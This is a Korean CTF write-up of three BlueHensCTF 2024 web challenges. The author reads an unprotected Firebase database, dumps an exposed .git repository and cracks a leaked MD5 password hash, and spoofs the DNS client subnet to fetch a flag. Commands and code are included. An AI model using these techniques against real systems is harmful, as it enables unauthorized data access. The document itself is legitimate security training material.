BlueHensCTF 2024 write-up이다.
Description : Web...ish...
document.addEventListener('DOMContentLoaded', function() {
firebase.database().ref('/flag').limitToFirst(5).once('value', ss => {
let results = ss.val();
results.forEach(cObj=>{
$("#cards").append(`<div>CHR: ${cObj.chr} NEXTCHR: ${cObj.next}`);
});
});
});
해당 자바스크립트 코드를 보면 firebase database를 가지고 데이터를 처리하는 것을 볼 수 있다.
해당 데이터 베이스는 '/flag' 경로에서 처음 5개의 데이터를 가져온다.
가져온 데이터의 각 객체에는 'chr'과 'next' 속성이 있고, 이를 화면에 표시한다.
그래서 Firebase 데이터베이스 보안 규칙을 우회하는 방법에 대해 찾아봤다.
Firebase 보안 규칙이 read 접근을 제대로 제한하지 않았기 때문에 limitToFirst(5) 제한을 제거했다.
firebase.database().ref('/flag').once('value').then(function(snapshot) {
console.log(snapshot.val());
});
그래서 이를 이용해 해당 값들을 불러오는 코드를 작성했다.
이를 통해 전체 데이터 베이스를 적출하는게 가능하다.
이를 문제에서 제공하는 값들은 위와 같다.
chr는 "?"이고, next는 "1627 - 1151"이다. 그래서 이에 해당하는 476번 값을 따라가면 "t"인 것을 알 수 있다.
계속해서 next를 따라 문자열을 만들다 보면 마지막에 'END'를 만나게 되며 flag를 획득할 수 있다.
?tCUzc-Hj,xMUjas&TF{JS0N_1n_tr33}
flag : UDCTF{JS0N_1n_tr33}
Description : It's nice to have some training problems.
해당 문제의 설명이다.
문제에 들어가면 위와 같이 이전 버전에 롤백해서 데이터를 가져와야 한다고 한다. 그래서 git 저장소의 dump를 추출했다.
./gitdumper.sh https://bluehens-webstuff.chals.io/.git/ .
https://github.com/arthaud/git-dumper
해당 툴을 사용해서 git repo를 dump 했다.
sudo ./extractor.sh ../Dumper/ .
그리고 최종적으로 해당 저장소를 추출한다.
<!doctype html>
<html>
<head>
<title>Deeply Insecure Login</title>
<style>
.hide {
display: none;
}
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/blueimp-md5/2.10.0/js/md5.js" type="text/javascript" charset="utf-8"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.min.js" type="text/javascript"></script>
</head>
<body>
<h1 id="page">You are NOT logged in.</h1>
<form id="login">
<input type="password" id="password" placeholder="Tell me the password to get in."/>
<button type="submit">Login</button>
</form>
<script>
var form = document.getElementById("login");
var attemptcount = 0;
form.addEventListener("submit", function(event){
event.preventDefault();
attemptcount += 1;
let password = document.getElementById("password").value;
if (md5(password) == "1c63129ae9db9c60c3e8aa94d3e00495"){
//You logged in!
document.getElementById("page").innerHTML = "You ARE logged in... fetching flag";
form.classList.add('hide');
$.ajax({
method:"get",url:"flagme.php",data:{"password":password},success: function(data){
$("#page").html(data);
}
})
} else {
document.getElementById("page").innerHTML = `Still NOT logged in. ${attemptcount} Attempts.`;
document.getElementById("password").value = "";
}
return false;
});
</script>
</body>
</html>
위의 명령어들을 통해 index.html을 롤백하는 것이 가능했다.
여기서 md5(password) 값이 1c63129ae9db9c60c3e8aa94d3e00495이다.
https://crackstation.net/
해당 사이트를 통해 해시를 crack해서 결과 값이 1qaz2wsx인 것을 알아냈다.
curl -G -d "password=1qaz2wsx" https://bluehens-webstuff.chals.io/flagme.php
마지막으로 해당 password를 입력해서 curl로 데이터를 전송하여 flag를 획득 할 수 있었다.
dig TXT flag @129.153.36.153 +subnet=127.0.0.1
dig의 subnet 옵션을 사용하여 DNS 서버에 서브넷을 127.0.0.1로 전달하여 서버가 로컬 IP로 인식하게 만들었다.
이를 통해 서버가 요청을 127.0.0.1에서 온 것으로 간주하게 하여 flag를 획득할 수 있었다.
https://themreviil-blog.github.io/post/bluehens2024/bluehens-ctf-writeup/